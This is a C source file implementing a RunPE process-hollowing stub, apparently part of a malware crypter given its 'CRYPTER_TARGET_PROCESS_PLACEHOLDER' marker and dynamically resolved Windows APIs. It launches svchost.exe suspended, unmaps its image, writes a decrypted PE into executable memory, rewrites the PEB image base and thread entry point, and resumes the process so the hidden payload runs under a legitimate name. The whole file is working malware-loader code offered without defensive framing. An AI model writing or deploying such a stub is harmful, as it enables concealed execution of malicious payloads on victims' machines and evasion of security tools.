151 lines
4.9 KiB
C
Executable File
151 lines
4.9 KiB
C
Executable File
/**
|
|
* runpe_stub.c — RunPE / Process Hollowing
|
|
*
|
|
* Creates a suspended process, unmaps the original image, writes the
|
|
* decrypted PE into the target, fixes the entry point, and resumes.
|
|
*/
|
|
|
|
#include <windows.h>
|
|
#include <winternl.h>
|
|
#include <stdint.h>
|
|
#include <string.h>
|
|
|
|
#include "api_resolve.h"
|
|
|
|
/* CRYPTER_TARGET_PROCESS_PLACEHOLDER */
|
|
static const wchar_t TARGET_PROCESS[] = L"C:\\Windows\\System32\\svchost.exe";
|
|
|
|
/**
|
|
* Execute a PE image via process hollowing.
|
|
* pe_data: pointer to decrypted PE bytes
|
|
* pe_len: length of the PE data
|
|
* Returns 0 on success, -1 on failure.
|
|
*/
|
|
int runpe_execute(const uint8_t *pe_data, uint32_t pe_len) {
|
|
STARTUPINFOW si;
|
|
PROCESS_INFORMATION pi;
|
|
CONTEXT ctx;
|
|
NTSTATUS status;
|
|
|
|
ZeroMemory(&si, sizeof(si));
|
|
si.cb = sizeof(si);
|
|
ZeroMemory(&pi, sizeof(pi));
|
|
|
|
/* Validate PE */
|
|
if (pe_len < sizeof(IMAGE_DOS_HEADER)) return -1;
|
|
IMAGE_DOS_HEADER *dos = (IMAGE_DOS_HEADER *)pe_data;
|
|
if (dos->e_magic != IMAGE_DOS_SIGNATURE) return -1;
|
|
if ((uint32_t)dos->e_lfanew + sizeof(IMAGE_NT_HEADERS) > pe_len) return -1;
|
|
IMAGE_NT_HEADERS *nt = (IMAGE_NT_HEADERS *)(pe_data + dos->e_lfanew);
|
|
if (nt->Signature != IMAGE_NT_SIGNATURE) return -1;
|
|
|
|
/* Create target process in suspended state */
|
|
if (!g_api.pCreateProcessW(TARGET_PROCESS, NULL, NULL, NULL, FALSE,
|
|
CREATE_SUSPENDED, NULL, NULL, &si, &pi)) {
|
|
return -1;
|
|
}
|
|
|
|
/* Get thread context to find PEB */
|
|
ctx.ContextFlags = CONTEXT_FULL;
|
|
if (!g_api.pGetThreadContext(pi.hThread, &ctx)) {
|
|
g_api.pTerminateProcess(pi.hProcess, 1);
|
|
g_api.pCloseHandle(pi.hThread);
|
|
g_api.pCloseHandle(pi.hProcess);
|
|
return -1;
|
|
}
|
|
|
|
/* Read PEB to get image base of the target */
|
|
PVOID pbi_buf[6]; /* PROCESS_BASIC_INFORMATION */
|
|
status = g_api.pNtQueryInformationProcess(pi.hProcess, 0 /* ProcessBasicInformation */,
|
|
pbi_buf, sizeof(pbi_buf), NULL);
|
|
if (status != 0) {
|
|
g_api.pTerminateProcess(pi.hProcess, 1);
|
|
g_api.pCloseHandle(pi.hThread);
|
|
g_api.pCloseHandle(pi.hProcess);
|
|
return -1;
|
|
}
|
|
|
|
/* PEB address is the 2nd pointer-sized field */
|
|
PVOID peb_addr = pbi_buf[1];
|
|
PVOID image_base_addr;
|
|
|
|
/* Read ImageBaseAddress from PEB (offset 0x10 on x64, 0x08 on x86) */
|
|
#ifdef _WIN64
|
|
SIZE_T peb_offset = 0x10;
|
|
#else
|
|
SIZE_T peb_offset = 0x08;
|
|
#endif
|
|
if (!g_api.pReadProcessMemory(pi.hProcess, (PBYTE)peb_addr + peb_offset,
|
|
&image_base_addr, sizeof(image_base_addr), NULL)) {
|
|
g_api.pTerminateProcess(pi.hProcess, 1);
|
|
g_api.pCloseHandle(pi.hThread);
|
|
g_api.pCloseHandle(pi.hProcess);
|
|
return -1;
|
|
}
|
|
|
|
/* Unmap the original PE image */
|
|
g_api.pNtUnmapViewOfSection(pi.hProcess, image_base_addr);
|
|
|
|
/* Allocate memory at the PE's preferred base */
|
|
LPVOID remote_base = g_api.pVirtualAllocEx(
|
|
pi.hProcess,
|
|
(LPVOID)(ULONG_PTR)nt->OptionalHeader.ImageBase,
|
|
nt->OptionalHeader.SizeOfImage,
|
|
MEM_COMMIT | MEM_RESERVE,
|
|
PAGE_EXECUTE_READWRITE
|
|
);
|
|
if (!remote_base) {
|
|
/* Try at any address if preferred base is taken */
|
|
remote_base = g_api.pVirtualAllocEx(
|
|
pi.hProcess, NULL,
|
|
nt->OptionalHeader.SizeOfImage,
|
|
MEM_COMMIT | MEM_RESERVE,
|
|
PAGE_EXECUTE_READWRITE
|
|
);
|
|
if (!remote_base) {
|
|
g_api.pTerminateProcess(pi.hProcess, 1);
|
|
g_api.pCloseHandle(pi.hThread);
|
|
g_api.pCloseHandle(pi.hProcess);
|
|
return -1;
|
|
}
|
|
}
|
|
|
|
/* Write PE headers */
|
|
g_api.pWriteProcessMemory(pi.hProcess, remote_base, pe_data,
|
|
nt->OptionalHeader.SizeOfHeaders, NULL);
|
|
|
|
/* Write each section */
|
|
IMAGE_SECTION_HEADER *sec = IMAGE_FIRST_SECTION(nt);
|
|
for (WORD i = 0; i < nt->FileHeader.NumberOfSections; i++) {
|
|
if (sec[i].SizeOfRawData == 0) continue;
|
|
g_api.pWriteProcessMemory(
|
|
pi.hProcess,
|
|
(PBYTE)remote_base + sec[i].VirtualAddress,
|
|
pe_data + sec[i].PointerToRawData,
|
|
sec[i].SizeOfRawData,
|
|
NULL
|
|
);
|
|
}
|
|
|
|
/* Update PEB ImageBaseAddress to point to our allocation */
|
|
g_api.pWriteProcessMemory(pi.hProcess, (PBYTE)peb_addr + peb_offset,
|
|
&remote_base, sizeof(remote_base), NULL);
|
|
|
|
/* Fix thread context entry point */
|
|
#ifdef _WIN64
|
|
ctx.Rcx = (DWORD64)remote_base + nt->OptionalHeader.AddressOfEntryPoint;
|
|
#else
|
|
ctx.Eax = (DWORD)remote_base + nt->OptionalHeader.AddressOfEntryPoint;
|
|
#endif
|
|
|
|
g_api.pSetThreadContext(pi.hThread, &ctx);
|
|
|
|
/* Resume the target process */
|
|
g_api.pResumeThread(pi.hThread);
|
|
|
|
g_api.pCloseHandle(pi.hThread);
|
|
g_api.pCloseHandle(pi.hProcess);
|
|
|
|
return 0;
|
|
}
|